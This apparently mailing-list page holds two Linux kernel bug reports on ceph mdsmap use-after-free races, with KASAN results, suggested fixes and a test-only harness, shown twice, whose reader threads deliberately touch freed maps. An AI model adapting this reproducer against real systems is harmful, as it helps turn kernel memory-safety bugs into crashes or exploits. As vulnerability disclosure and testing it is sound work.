Linux 7.3.0 tree (Makefile: VERSION 7, PATCHLEVEL 3, SUBLEVEL 0) at /home/xuhanxiang/project/race/linux, not a git checkout:

    fs/ceph/mds_client.c       8678459253e5b1452667946bf4457c5a
    fs/ceph/mdsmap.c           5cb2b54f0d3007961c36e68da1f6318c
    net/ceph/messenger.c       87b3dea680e86b1e2dd0cc901004178f
    net/ceph/messenger_v1.c    ca17a217228b7161f84f2d9319f02212
    net/ceph/messenger_v2.c    bea5ca74754004a29edd5275c1ee566b

All line numbers are from this tree. Kernel 7.3.0 #2 PREEMPT(lazy), gcc 13.3.0, KASAN enabled (CONFIG_KASAN=y, CONFIG_CEPH_FS=y, CONFIG_CEPH_LIB=y). QEMU/KVM, 4 vCPU/4G, busybox initramfs.

* Mechanism

mds_peer_reset() (mds_client.c:7106):

        if (READ_ONCE(mdsc->fsc->mount_state) == CEPH_MOUNT_FENCE_IO ||
            ceph_mdsmap_get_state(mdsc->mdsmap, s->s_mds) <
                    CEPH_MDS_STATE_RECONNECT)
                return;
        ...
        if (ceph_mdsmap_get_state(mdsc->mdsmap, s->s_mds) ==
            CEPH_MDS_STATE_RECONNECT) {
                rc = send_mds_reconnect(mdsc, s);
                ...
        }

The messenger calls ->peer_reset() with con->mutex explicitly dropped (messenger_v1.c:837-839 in process_connect() after CEPH_MSGR_TAG_RESETSESSION; messenger_v2.c:2700-2701 in process_session_reset()). ceph_con_process_message() also calls ->dispatch() outside con->mutex (messenger.c:1413/1424), so different connections' work can run in parallel on the ceph-msgr WQ_PERCPU workqueue (messenger.c:255-257).

send_mds_reconnect() (mds_client.c:5145) later does:

        ceph_con_close(&session->s_con);
        ceph_con_open(&session->s_con, CEPH_ENTITY_TYPE_MDS, mds,
                      ceph_mdsmap_get_addr(mdsc->mdsmap, mds));

and ceph_con_open() (messenger.c:598-616) takes con->mutex at 602 and does memcpy(&con->peer_addr, addr, sizeof(*addr)) at 611. The addr pointer points into the map's m_info[]; the map can be freed in between (the caller does not hold mdsc->mutex at 5225).

The NULL variant: ceph_mdsmap_get_addr() returns NULL when
w >= m->possible_max_rank (mdsmap.h:51-57); possible_max_rank is max(m_num_active_mds, m_max_mds) (mdsmap.c:172), so it shrinks only when an administrator lowers max_mds (not when a rank simply goes away).

Note that ceph_con_open() first takes con->mutex at 602; a concurrent ceph_con_send() on the same connection takes it too (messenger.c:1738), so the addr pointer can stay live outside any lock for longer than a few instructions.

* Trigger model

- Needs a cephfs mount with an MDS session, and an MDS session reset (CEPH_MSGR_TAG_RESETSESSION / session reconnect), e.g. an MDS daemon restart or network reset; plus a concurrent MDS map update (same restart typically drives both).
- No local privilege needed on the client side; the trigger is a server-side/cluster event.
- For the NULL variant, max_mds must be lowered so that possible_max_rank <= s->s_mds while the rank state is RECONNECT.

* Reproducer (attached: ceph_mdsmap_race_harness.c + instrumentation.patch) and results on 7.3

The harness builds a real struct ceph_mds_client (real ceph_mdsc_init()), publishes a minimal map through the real ceph_mdsc_handle_mdsmap(), and runs a reader kind that replays the reconnect read: snapshot mdsc->mdsmap, block, then after the map is freed call ceph_mdsmap_get_addr() and memcpy the address (plan "replicas", kind 5; the actual ceph_con_open() is not reachable without a live MDS connection in the guest, so the copy is done on the same pointer returned by the real inline helper).

    # plan replicas: setup -> rep (5 readers) -> trigger (publish + free)
    #                -> release

Result :

    BUG: KASAN: slab-use-after-free in rv_reader_fn+0x155/0x170
    Read of size 8/16 ... (address copy from freed m_info[])
    Allocated by: ceph_mdsmap_decode+0xe1 <- ceph_mdsc_handle_mdsmap+0x288
    Freed by:     ceph_mdsc_handle_mdsmap+0x2c7

Control run replicasctl (release before publish): KASAN count 0.

* Suggested direction

Snapshot the state/address under mdsc->mutex. The lock order s_mutex -> mdsc->mutex already exists (comment at send_mds_reconnect(), mds_client.c:5182), so the address for ceph_con_open() can be copied into a local struct ceph_entity_addr under mdsc->mutex and passed to ceph_con_open() afterwards; mds_peer_reset() should likewise read the rank state under mdsc->mutex. RCU publication would remove the need for this.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
/*
* fs/ceph mdsmap lifetime race verification harness (TEST ONLY, not upstream). *
* This file is compiled into ceph.o only when CONFIG_CEPH_RACE_VERIFY=y.
* It builds a fake (but minimally consistent) ceph client / fs_client /
* mds_client, publishes MDS maps into mdsc->mdsmap through the *real*
* ceph_mdsc_handle_mdsmap() writer, and lets readers (the real debugfs
* mdsmap_show() and line-faithful replicas of the audited read sites)
* dereference a map while a concurrent map update publishes a new map and
* ceph_mdsmap_destroy()s the old one.
*
* Only the test scaffolding and one stall hook are added; the writer, the
* free path, the debugfs show callback and ceph_mdsmap_is_cluster_available()
* are the unmodified production code under test.
*/
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/debugfs.h>
#include <linux/fs.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/completion.h>
#include <linux/atomic.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include <linux/ceph/decode.h>
#include <linux/ceph/libceph.h>

#include "super.h"
#include "mds_client.h"
#include "mdsmap.h"
#include "race_verify.h"

static struct ceph_options rv_copts; /* con_modes[0] == UNKNOWN -> msgr1 */
static struct ceph_client *rv_client;
static struct ceph_fs_client *rv_fsc;
static struct ceph_mount_options *rv_mopts;
static struct ceph_mds_client *rv_mdsc;
static struct dentry *rv_dir;
static u32 rv_cur_epoch;

static bool rv_pause_enabled;
static atomic_t rv_loaded = ATOMIC_INIT(0);
static atomic_t rv_released = ATOMIC_INIT(0);
static DECLARE_COMPLETION(rv_go);

#define RV_BUF_SZ 4096
#define RV_NMDS 1

/* ------------------------------------------------------------------ */
/* MDS map wire encoder: mdsmap_v=1 (legacy), one ACTIVE mds rank. */
/* ------------------------------------------------------------------ */

#define RV_MSG_HDR_SZ 24 /* ceph_fsid (16) + epoch (u32) + maplen (u32) */

static int rv_build_map(u8 *buf, size_t bufsz, u32 epoch, u32 npools, u32 in_n)

{
	struct ceph_fsid fsid;
	void *p = buf + RV_MSG_HDR_SZ;
	void *end = buf + bufsz;
	u32 maplen;
	u32 i;
	int j;

	if (bufsz <= RV_MSG_HDR_SZ)
		return -EINVAL;

	ceph_encode_8(&p, 1);			/* mdsmap_v */
	ceph_encode_8(&p, 0);			/* compat version byte */
	ceph_encode_32(&p, epoch);		/* m_epoch */
	ceph_encode_32(&p, 0);			/* m_client_epoch */
	ceph_encode_32(&p, 0);			/* m_last_failure */
	ceph_encode_32(&p, 1);			/* m_root */
	ceph_encode_32(&p, 60);			/* m_session_timeout */
	ceph_encode_32(&p, 300);		/* m_session_autoclose */
	ceph_encode_64(&p, 1ULL << 40);		/* m_max_file_size */
	ceph_encode_32(&p, RV_NMDS);		/* m_max_mds */
	ceph_encode_32(&p, RV_NMDS);		/* m_num_active_mds */

	for (i = 0; i < RV_NMDS; i++) {
		ceph_encode_64(&p, i + 1);	/* global_id */
		ceph_encode_8(&p, 1);		/* info_v (no addrvec, no exports) */
		ceph_encode_64(&p, 0);		/* skipped field */
		ceph_encode_32(&p, 0);		/* namelen */
		ceph_encode_32(&p, i);		/* mds rank */
		ceph_encode_32(&p, 0);		/* inc */
		ceph_encode_32(&p, CEPH_MDS_STATE_ACTIVE);
		ceph_encode_64(&p, 0);		/* state_seq */
		/* legacy entity_addr: 1 marker byte + 3 type bytes + nonce */
		ceph_encode_8(&p, CEPH_ENTITY_ADDR_TYPE_NONE);
		ceph_encode_8(&p, 0);
		ceph_encode_8(&p, 0);
		ceph_encode_8(&p, 0);
		ceph_encode_32(&p, 0);		/* nonce */
		for (j = 0; j < 16; j++)	/* sockaddr_storage (128B) */
			ceph_encode_64(&p, 0);
		ceph_encode_64(&p, 0);		/* laggy_since (ceph_timespec) */
		ceph_encode_32(&p, 0);		/* skipped field */
		ceph_encode_32(&p, 0);		/* namelen */
	}

	ceph_encode_32(&p, npools);		/* m_num_data_pg_pools */
	for (i = 0; i < npools; i++)
		ceph_encode_64(&p, 1);		/* data pool id */
	ceph_encode_64(&p, 0);			/* m_cas_pg_pool */

	/* tail for mdsmap_ev == 1 */
	ceph_encode_32(&p, 1);			/* metadata_pool */
	ceph_encode_64(&p, 0);			/* created (ceph_timespec) */
	ceph_encode_64(&p, 0);			/* modified (ceph_timespec) */
	ceph_encode_32(&p, 0);			/* tableserver */
	ceph_encode_32(&p, in_n);		/* in set: in_n entries */
	for (i = 0; i < in_n; i++)
		ceph_encode_32(&p, i);		/* rank i is in */
	ceph_encode_32(&p, 0);			/* inc map: 0 entries */
	ceph_encode_32(&p, 0);			/* up map: 0 entries */
	ceph_encode_32(&p, 0);			/* failed set: 0 entries */
	ceph_encode_32(&p, 0);			/* stopped set: 0 entries */

	if (p > end)
		return -EOVERFLOW;

	maplen = p - (void *)(buf + RV_MSG_HDR_SZ);

	/* message header: ceph_fsid + map epoch + map length */
	memset(&fsid, 0, sizeof(fsid));
	fsid.fsid[0] = 0xce;
	fsid.fsid[15] = 0x71;
	p = buf;
	ceph_encode_copy(&p, &fsid, sizeof(fsid));
	ceph_encode_32(&p, epoch);
	ceph_encode_32(&p, maplen);
	if (p != buf + RV_MSG_HDR_SZ)
		return -EINVAL;
	return (buf + RV_MSG_HDR_SZ + maplen) - buf;
}

static int rv_deliver_map_ex(u32 epoch, u32 npools, u32 in_n)

{
	struct ceph_msg msg = { };
	u8 buf[RV_BUF_SZ];
	int len;

	len = rv_build_map(buf, sizeof(buf), epoch, npools, in_n);
	if (len < 0) {
		pr_err("CEPHV: map encode failed %d\n", len);
		return len;
	}
	msg.front.iov_base = buf;
	msg.front.iov_len = len;
	ceph_mdsc_handle_mdsmap(rv_mdsc, &msg);
	rv_cur_epoch = epoch;
	return 0;
}

static int rv_deliver_map(u32 epoch, u32 npools)

{
	return rv_deliver_map_ex(epoch, npools, RV_NMDS);
}

/* ------------------------------------------------------------------ */ /* Setup: fake client / fs_client / mds_client, then first map epoch 2 */ /* ------------------------------------------------------------------ */

static int rv_setup(void)

{
	int ret;

	if (rv_mdsc)
		return -EALREADY;

	rv_client = kzalloc(sizeof(*rv_client), GFP_KERNEL);
	rv_fsc = kzalloc(sizeof(*rv_fsc), GFP_KERNEL);
	rv_mopts = kzalloc(sizeof(*rv_mopts), GFP_KERNEL);
	if (!rv_client || !rv_fsc || !rv_mopts)
		return -ENOMEM;

	rv_client->options = &rv_copts;
	mutex_init(&rv_client->monc.mutex);
	rv_client->monc.client = rv_client;

	rv_fsc->client = rv_client;
	rv_fsc->mount_options = rv_mopts;
	INIT_LIST_HEAD(&rv_fsc->metric_wakeup);

	ret = ceph_mdsc_init(rv_fsc);
	if (ret) {
		pr_err("CEPHV: ceph_mdsc_init failed %d\n", ret);
		return ret;
	}
	rv_mdsc = rv_fsc->mdsc;

	/* Neutralize the delayed_work timer before the first map delivery,
	 * so the work item early-returns instead of running cap machinery.
	 */
	rv_mdsc->stopping = CEPH_MDSC_STOPPING_FLUSHED;

	ret = rv_deliver_map(2, 1);
	if (ret)
		return ret;
	flush_delayed_work(&rv_mdsc->delayed_work);

	/* The real debugfs show callback, using the real mdsmap_fops. */
	ceph_race_create_mdsmap_file(rv_fsc, rv_dir);

	pr_info("CEPHV: setup done, epoch=%u stopping=%d\n",
		rv_cur_epoch, (int)rv_mdsc->stopping);
	return 0;
}

/* ------------------------------------------------------------------ */
/* Stall hook called from the real mdsmap_show() after it snapshots */
/* fsc->mdsc->mdsmap (debugfs.c:66 in the unmodified tree). */
/* ------------------------------------------------------------------ */

void ceph_race_verify_pause(struct ceph_mds_client *mdsc,
struct ceph_mdsmap *mdsmap)

{
	if (!READ_ONCE(rv_pause_enabled) || !rv_mdsc)
		return;
	atomic_inc(&rv_loaded);
	wait_for_completion(&rv_go);
	atomic_set(&rv_loaded, 0);
}

/* ------------------------------------------------------------------ */ /* Kernel-thread readers: faithful replicas of the audited read sites */ /* ------------------------------------------------------------------ */

enum rv_reader_kind {
	RV_R_STATFS = 1,	/* super.c:68-69   (ceph_statfs) */
	RV_R_TOCTOU,		/* super.c:69      (double load) */
	RV_R_XATTR,		/* xattr.c:1237    (__ceph_setxattr) */
	RV_R_RENEW,		/* mds_client.c:2130/2179 */
	RV_R_PEER,		/* mds_client.c:5227 */
};

static int rv_reader_fn(void *arg)

{
	long kind = (long)arg;
	struct ceph_mdsmap *m, *m2;
	u64 val = 0;
	u32 u32v = 0;
	int st;

	m = READ_ONCE(rv_mdsc->mdsmap);
	atomic_inc(&rv_loaded);
	wait_for_completion(&rv_go);

	switch (kind) {
	case RV_R_STATFS:
		u32v = m->m_num_data_pg_pools;
		if (u32v == 1) {
			u64 *p = m->m_data_pg_pools;
			val = p[0];
		}
		break;
	case RV_R_TOCTOU:
		u32v = m->m_num_data_pg_pools;
		m2 = READ_ONCE(rv_mdsc->mdsmap);
		if (u32v == 1) {
			u64 *p = m2->m_data_pg_pools;
			val = p[0];
		}
		break;
	case RV_R_XATTR:
		val = m->m_max_xattr_size;
		break;
	case RV_R_RENEW:
		u32v = m->m_session_timeout;
		break;
	case RV_R_PEER:
		st = ceph_mdsmap_get_state(m, 0);
		{
			struct ceph_entity_addr addr;
			struct ceph_entity_addr *a =
				ceph_mdsmap_get_addr(m, 0);
			if (a)
				memcpy(&addr, a, sizeof(addr));
			pr_info("CEPHV: peer replica state=%d addr=%p\n",
				st, a);
		}
		return 0;
	default:
		return -EINVAL;
	}

	pr_info("CEPHV: reader kind=%ld val=%llu u32=%u\n", kind,
		(unsigned long long)val, u32v);
	return 0;
}

/* Real production reader: ceph_mdsmap_is_cluster_available() on a
* previously snapshotted map (the ceph_get_tree() out_splat pattern). */
static int rv_reader3_fn(void *arg)

{
	struct ceph_mdsmap *m = READ_ONCE(rv_mdsc->mdsmap);
	bool avail;

	atomic_inc(&rv_loaded);
	wait_for_completion(&rv_go);
	avail = ceph_mdsmap_is_cluster_available(m);
	pr_info("CEPHV: reader3 avail=%d\n", avail);
	return 0;
}

static int rv_spawn(int (*fn)(void *), long kind, const char *name,
struct task_struct **out)

{
	struct task_struct *t = kthread_run(fn, (void *)kind, "%s", name);

	if (IS_ERR(t))
		return PTR_ERR(t);
	if (out)
		*out = t;
	return 0;
}

static void rv_release(void)

{
	atomic_set(&rv_released, 1);
	complete_all(&rv_go);
}

/* ------------------------------------------------------------------ */
/* control file */
/* ------------------------------------------------------------------ */

static ssize_t rv_ctl_write(struct file *f, const char __user *ubuf,
size_t len, loff_t *off)

{
	struct task_struct *t;
	char buf[32];
	int ret = 0;

	if (len >= sizeof(buf))
		return -EINVAL;
	if (copy_from_user(buf, ubuf, len))
		return -EFAULT;
	buf[len] = 0;
	strim(buf);

	if (!strcmp(buf, "setup")) {
		ret = rv_setup();
	} else if (!strcmp(buf, "arm")) {
		rv_pause_enabled = true;
		reinit_completion(&rv_go);
		atomic_set(&rv_loaded, 0);
		atomic_set(&rv_released, 0);
		pr_info("CEPHV: armed (pause hook enabled)\n");
	} else if (!strcmp(buf, "trigger")) {
		ret = rv_deliver_map(rv_cur_epoch + 1, 1);
		pr_info("CEPHV: trigger epoch=%u pools=1\n", rv_cur_epoch);
	} else if (!strcmp(buf, "trigger0")) {
		ret = rv_deliver_map_ex(rv_cur_epoch + 1, 0, 0);
		pr_info("CEPHV: trigger epoch=%u pools=0\n", rv_cur_epoch);
	} else if (!strcmp(buf, "release")) {
		rv_release();
		pr_info("CEPHV: released\n");
	} else if (!strcmp(buf, "reader3")) {
		ret = rv_spawn(rv_reader3_fn, 0, "cephrv3", &t);
	} else if (!strcmp(buf, "rep")) {
		ret = rv_spawn(rv_reader_fn, RV_R_STATFS, "cephrv-s", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_TOCTOU, "cephrv-t", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_XATTR, "cephrv-x", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_RENEW, "cephrv-r", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_PEER, "cephrv-p", NULL);
	} else if (!strcmp(buf, "rep0")) {
		ret = rv_spawn(rv_reader_fn, RV_R_TOCTOU, "cephrv-t0", NULL);
	} else if (!strcmp(buf, "noop")) {
		ret = 0;
	} else {
		ret = -EINVAL;
	}

	if (ret)
		return ret;
	return len;
}

static const struct file_operations rv_ctl_fops = {
.write = rv_ctl_write,
};

static int rv_state_show(struct seq_file *s, void *unused)

{
	seq_printf(s, "mdsc=%d epoch=%u loaded=%d released=%d pause=%d stopping=%d\n",
		   rv_mdsc ? 1 : 0, rv_cur_epoch,
		   atomic_read(&rv_loaded), atomic_read(&rv_released),
		   rv_pause_enabled ? 1 : 0,
		   rv_mdsc ? (int)rv_mdsc->stopping : -1);
	return 0;
}

DEFINE_SHOW_ATTRIBUTE(rv_state);

static int __init rv_init(void)

{
	rv_dir = debugfs_create_dir("cephrace", NULL);
	if (IS_ERR_OR_NULL(rv_dir))
		return 0;
	debugfs_create_file("control", 0200, rv_dir, NULL, &rv_ctl_fops);
	debugfs_create_file("state", 0400, rv_dir, NULL, &rv_state_fops);
	pr_info("CEPHV: harness loaded\n");
	return 0;
}

late_initcall(rv_init);

fs/ceph/debugfs.c +12 -0
@@ -20,6 +20,8 @@
 
 #include "super.h"
 
+#include "race_verify.h"
+
 #ifdef CONFIG_DEBUG_FS
 
 #include "mds_client.h"
@@ -64,6 +66,7 @@
 	if (!fsc->mdsc || !fsc->mdsc->mdsmap)
 		return 0;
 	mdsmap = fsc->mdsc->mdsmap;
+	ceph_race_verify_pause(fsc->mdsc, mdsmap);
 	seq_printf(s, "epoch %d\n", mdsmap->m_epoch);
 	seq_printf(s, "root %d\n", mdsmap->m_root);
 	seq_printf(s, "max_mds %d\n", mdsmap->m_max_mds);
@@ -531,6 +534,15 @@
 }
 
 DEFINE_SHOW_ATTRIBUTE(mdsmap);
+
+#ifdef CONFIG_CEPH_RACE_VERIFY
+/* TEST ONLY: expose the real mdsmap_show() fops on a harness directory. */
+void ceph_race_create_mdsmap_file(struct ceph_fs_client *fsc,
+				  struct dentry *parent)
+{
+	debugfs_create_file("mdsmap", 0400, parent, fsc, &mdsmap_fops);
+}
+#endif
 DEFINE_SHOW_ATTRIBUTE(mdsc);
 DEFINE_SHOW_ATTRIBUTE(caps);
 DEFINE_SHOW_ATTRIBUTE(mds_sessions);
fs/ceph/Makefile +1 -0
@@ -13,3 +13,4 @@
 ceph-$(CONFIG_CEPH_FSCACHE) += cache.o
 ceph-$(CONFIG_CEPH_FS_POSIX_ACL) += acl.o
 ceph-$(CONFIG_FS_ENCRYPTION) += crypto.o
+ceph-$(CONFIG_CEPH_RACE_VERIFY) += race_verify.o
fs/ceph/Kconfig +9 -0
@@ -47,3 +47,12 @@
 
 	  If you are not using a security module that requires using
 	  extended attributes for file security labels, say N.
+
+config CEPH_RACE_VERIFY
+	bool "Ceph mdsmap lifetime race verification harness (TEST ONLY)"
+	depends on CEPH_FS && DEBUG_FS
+	help
+	  Test-only instrumentation used to dynamically verify mdsmap
+	  lifetime races (publish+destroy vs. lockless readers).  Not for
+	  production kernels.
+
author
#83 lore raw

fs/ceph: caps renew paths read mdsmap->m_session_timeout without mdsc->mutex (UAF)

In reply to Greg KH

Two caps renew paths read mdsc->mdsmap without mdsc->mutex:
send_renew_caps() reads the rank state at mds_client.c:2130 with only session->s_mutex, and renewed_caps() reads mdsc->mdsmap->m_session_timeout at 2179 with only session->s_cap_lock. ceph_mdsc_handle_mdsmap() replaces mdsc->mdsmap and immediately frees the old map (mds_client.c:7057-7061; no refcount/RCU), so a renew racing a map update reads freed memory and computes a bogus s_cap_ttl (too short -> renew storm; too long -> stale caps). The same file shows the intended
protocol: handle_session() reads the same kind of field under mdsc->mutex at 4560 and delayed_work() reads m_session_timeout under mdsc->mutex at 6279 - but both then call renewed_caps()/send_renew_caps() after dropping it. I reproduced the UAF at both read points on 7.3.

The detailed description:

* Test environment / affected version

Linux 7.3.0 tree (Makefile: VERSION 7, PATCHLEVEL 3, SUBLEVEL 0) at /home/xuhanxiang/project/race/linux, not a git checkout:

    fs/ceph/mds_client.c   8678459253e5b1452667946bf4457c5a
    fs/ceph/mdsmap.c       5cb2b54f0d3007961c36e68da1f6318c

All line numbers are from this tree. Kernel 7.3.0 #2 PREEMPT(lazy), gcc 13.3.0, KASAN enabled (CONFIG_KASAN=y, CONFIG_CEPH_FS=y, CONFIG_CEPH_LIB=y). QEMU/KVM, 4 vCPU/4G, busybox initramfs.

* Mechanism

send_renew_caps() (mds_client.c:2116; the caller must hold s_mutex per the comment at 2114):

        session->s_renew_requested = jiffies;
        ...
        state = ceph_mdsmap_get_state(mdsc->mdsmap, session->s_mds);
        if (state < CEPH_MDS_STATE_RECONNECT)
                return 0;

renewed_caps() (mds_client.c:2168; called under s_mutex):

        spin_lock(&session->s_cap_lock);
        ...
        session->s_cap_ttl = session->s_renew_requested +
                mdsc->mdsmap->m_session_timeout * HZ;
        spin_unlock(&session->s_cap_lock);

Callers: handle_session() takes mdsc->mutex at 4537, reads
s_ttl = jiffies + HZ*mdsc->mdsmap->m_session_autoclose at 4560, unlocks at 4561, then takes s_mutex at 4563 and calls renewed_caps() at 4590 (OPEN) and 4611 (RENEWCAPS), or send_renew_caps() at 4630 (STALE) - all without mdsc->mutex. delayed_work() reads m_session_timeout under mdsc->mutex at 6279, drops it at 6294, takes s_mutex at 6298, and calls send_renew_caps() at 6300.

The writer side is mds_client.c:7057-7061: mdsc->mdsmap is replaced and ceph_mdsmap_destroy() (mdsmap.c:443-455) frees m_session_timeout's containing struct synchronously; struct ceph_mdsmap has no refcount/RCU.

* Trigger model

- Needs an active MDS session (any normal cephfs client with caps) and a concurrent MDS map update. The renew paths run periodically (delayed_work every m_session_timeout/4) and on session messages (OPEN/RENEWCAPS/STALE).
- No local privilege needed; the reader is kernel-side (con work / system workqueue), triggered by cluster activity.

* Reproducer (attached: ceph_mdsmap_race_harness.c + instrumentation.patch) and results on 7.3

The harness builds a real struct ceph_mds_client (real ceph_mdsc_init()), publishes a minimal map through the real ceph_mdsc_handle_mdsmap(), and runs a reader kind that replays both renew reads: snapshot mdsc->mdsmap, block, then after the map is freed read the rank state and m_session_timeout (plan "replicas", kind 4).

    # plan replicas: setup -> rep (5 readers) -> trigger (publish + free)
    #                -> release

Result:

    BUG: KASAN: slab-use-after-free in rv_reader_fn+0x132/0x141
    Read of size 4 ... (m_session_timeout / m_info[].state)
    Allocated by: ceph_mdsmap_decode+0xe1 <- ceph_mdsc_handle_mdsmap+0x288
    Freed by:     ceph_mdsc_handle_mdsmap+0x2c7

Control run replicasctl (release before publish): KASAN count 0, readers observe the expected timeout value (60).

* Suggested direction

Read m_session_timeout (and the rank state) into local variables under mdsc->mutex before dropping it, and pass the values down; the lock order s_mutex -> mdsc->mutex is already established (comment at send_mds_reconnect(), mds_client.c:5182). RCU publication would also work.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
/*
* fs/ceph mdsmap lifetime race verification harness (TEST ONLY, not upstream). *
* This file is compiled into ceph.o only when CONFIG_CEPH_RACE_VERIFY=y.
* It builds a fake (but minimally consistent) ceph client / fs_client /
* mds_client, publishes MDS maps into mdsc->mdsmap through the *real*
* ceph_mdsc_handle_mdsmap() writer, and lets readers (the real debugfs
* mdsmap_show() and line-faithful replicas of the audited read sites)
* dereference a map while a concurrent map update publishes a new map and
* ceph_mdsmap_destroy()s the old one.
*
* Only the test scaffolding and one stall hook are added; the writer, the
* free path, the debugfs show callback and ceph_mdsmap_is_cluster_available()
* are the unmodified production code under test.
*/
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/debugfs.h>
#include <linux/fs.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/completion.h>
#include <linux/atomic.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include <linux/ceph/decode.h>
#include <linux/ceph/libceph.h>

#include "super.h"
#include "mds_client.h"
#include "mdsmap.h"
#include "race_verify.h"

static struct ceph_options rv_copts; /* con_modes[0] == UNKNOWN -> msgr1 */
static struct ceph_client *rv_client;
static struct ceph_fs_client *rv_fsc;
static struct ceph_mount_options *rv_mopts;
static struct ceph_mds_client *rv_mdsc;
static struct dentry *rv_dir;
static u32 rv_cur_epoch;

static bool rv_pause_enabled;
static atomic_t rv_loaded = ATOMIC_INIT(0);
static atomic_t rv_released = ATOMIC_INIT(0);
static DECLARE_COMPLETION(rv_go);

#define RV_BUF_SZ 4096
#define RV_NMDS 1

/* ------------------------------------------------------------------ */
/* MDS map wire encoder: mdsmap_v=1 (legacy), one ACTIVE mds rank. */
/* ------------------------------------------------------------------ */

#define RV_MSG_HDR_SZ 24 /* ceph_fsid (16) + epoch (u32) + maplen (u32) */

static int rv_build_map(u8 *buf, size_t bufsz, u32 epoch, u32 npools, u32 in_n)

{
	struct ceph_fsid fsid;
	void *p = buf + RV_MSG_HDR_SZ;
	void *end = buf + bufsz;
	u32 maplen;
	u32 i;
	int j;

	if (bufsz <= RV_MSG_HDR_SZ)
		return -EINVAL;

	ceph_encode_8(&p, 1);			/* mdsmap_v */
	ceph_encode_8(&p, 0);			/* compat version byte */
	ceph_encode_32(&p, epoch);		/* m_epoch */
	ceph_encode_32(&p, 0);			/* m_client_epoch */
	ceph_encode_32(&p, 0);			/* m_last_failure */
	ceph_encode_32(&p, 1);			/* m_root */
	ceph_encode_32(&p, 60);			/* m_session_timeout */
	ceph_encode_32(&p, 300);		/* m_session_autoclose */
	ceph_encode_64(&p, 1ULL << 40);		/* m_max_file_size */
	ceph_encode_32(&p, RV_NMDS);		/* m_max_mds */
	ceph_encode_32(&p, RV_NMDS);		/* m_num_active_mds */

	for (i = 0; i < RV_NMDS; i++) {
		ceph_encode_64(&p, i + 1);	/* global_id */
		ceph_encode_8(&p, 1);		/* info_v (no addrvec, no exports) */
		ceph_encode_64(&p, 0);		/* skipped field */
		ceph_encode_32(&p, 0);		/* namelen */
		ceph_encode_32(&p, i);		/* mds rank */
		ceph_encode_32(&p, 0);		/* inc */
		ceph_encode_32(&p, CEPH_MDS_STATE_ACTIVE);
		ceph_encode_64(&p, 0);		/* state_seq */
		/* legacy entity_addr: 1 marker byte + 3 type bytes + nonce */
		ceph_encode_8(&p, CEPH_ENTITY_ADDR_TYPE_NONE);
		ceph_encode_8(&p, 0);
		ceph_encode_8(&p, 0);
		ceph_encode_8(&p, 0);
		ceph_encode_32(&p, 0);		/* nonce */
		for (j = 0; j < 16; j++)	/* sockaddr_storage (128B) */
			ceph_encode_64(&p, 0);
		ceph_encode_64(&p, 0);		/* laggy_since (ceph_timespec) */
		ceph_encode_32(&p, 0);		/* skipped field */
		ceph_encode_32(&p, 0);		/* namelen */
	}

	ceph_encode_32(&p, npools);		/* m_num_data_pg_pools */
	for (i = 0; i < npools; i++)
		ceph_encode_64(&p, 1);		/* data pool id */
	ceph_encode_64(&p, 0);			/* m_cas_pg_pool */

	/* tail for mdsmap_ev == 1 */
	ceph_encode_32(&p, 1);			/* metadata_pool */
	ceph_encode_64(&p, 0);			/* created (ceph_timespec) */
	ceph_encode_64(&p, 0);			/* modified (ceph_timespec) */
	ceph_encode_32(&p, 0);			/* tableserver */
	ceph_encode_32(&p, in_n);		/* in set: in_n entries */
	for (i = 0; i < in_n; i++)
		ceph_encode_32(&p, i);		/* rank i is in */
	ceph_encode_32(&p, 0);			/* inc map: 0 entries */
	ceph_encode_32(&p, 0);			/* up map: 0 entries */
	ceph_encode_32(&p, 0);			/* failed set: 0 entries */
	ceph_encode_32(&p, 0);			/* stopped set: 0 entries */

	if (p > end)
		return -EOVERFLOW;

	maplen = p - (void *)(buf + RV_MSG_HDR_SZ);

	/* message header: ceph_fsid + map epoch + map length */
	memset(&fsid, 0, sizeof(fsid));
	fsid.fsid[0] = 0xce;
	fsid.fsid[15] = 0x71;
	p = buf;
	ceph_encode_copy(&p, &fsid, sizeof(fsid));
	ceph_encode_32(&p, epoch);
	ceph_encode_32(&p, maplen);
	if (p != buf + RV_MSG_HDR_SZ)
		return -EINVAL;
	return (buf + RV_MSG_HDR_SZ + maplen) - buf;
}

static int rv_deliver_map_ex(u32 epoch, u32 npools, u32 in_n)

{
	struct ceph_msg msg = { };
	u8 buf[RV_BUF_SZ];
	int len;

	len = rv_build_map(buf, sizeof(buf), epoch, npools, in_n);
	if (len < 0) {
		pr_err("CEPHV: map encode failed %d\n", len);
		return len;
	}
	msg.front.iov_base = buf;
	msg.front.iov_len = len;
	ceph_mdsc_handle_mdsmap(rv_mdsc, &msg);
	rv_cur_epoch = epoch;
	return 0;
}

static int rv_deliver_map(u32 epoch, u32 npools)

{
	return rv_deliver_map_ex(epoch, npools, RV_NMDS);
}

/* ------------------------------------------------------------------ */ /* Setup: fake client / fs_client / mds_client, then first map epoch 2 */ /* ------------------------------------------------------------------ */

static int rv_setup(void)

{
	int ret;

	if (rv_mdsc)
		return -EALREADY;

	rv_client = kzalloc(sizeof(*rv_client), GFP_KERNEL);
	rv_fsc = kzalloc(sizeof(*rv_fsc), GFP_KERNEL);
	rv_mopts = kzalloc(sizeof(*rv_mopts), GFP_KERNEL);
	if (!rv_client || !rv_fsc || !rv_mopts)
		return -ENOMEM;

	rv_client->options = &rv_copts;
	mutex_init(&rv_client->monc.mutex);
	rv_client->monc.client = rv_client;

	rv_fsc->client = rv_client;
	rv_fsc->mount_options = rv_mopts;
	INIT_LIST_HEAD(&rv_fsc->metric_wakeup);

	ret = ceph_mdsc_init(rv_fsc);
	if (ret) {
		pr_err("CEPHV: ceph_mdsc_init failed %d\n", ret);
		return ret;
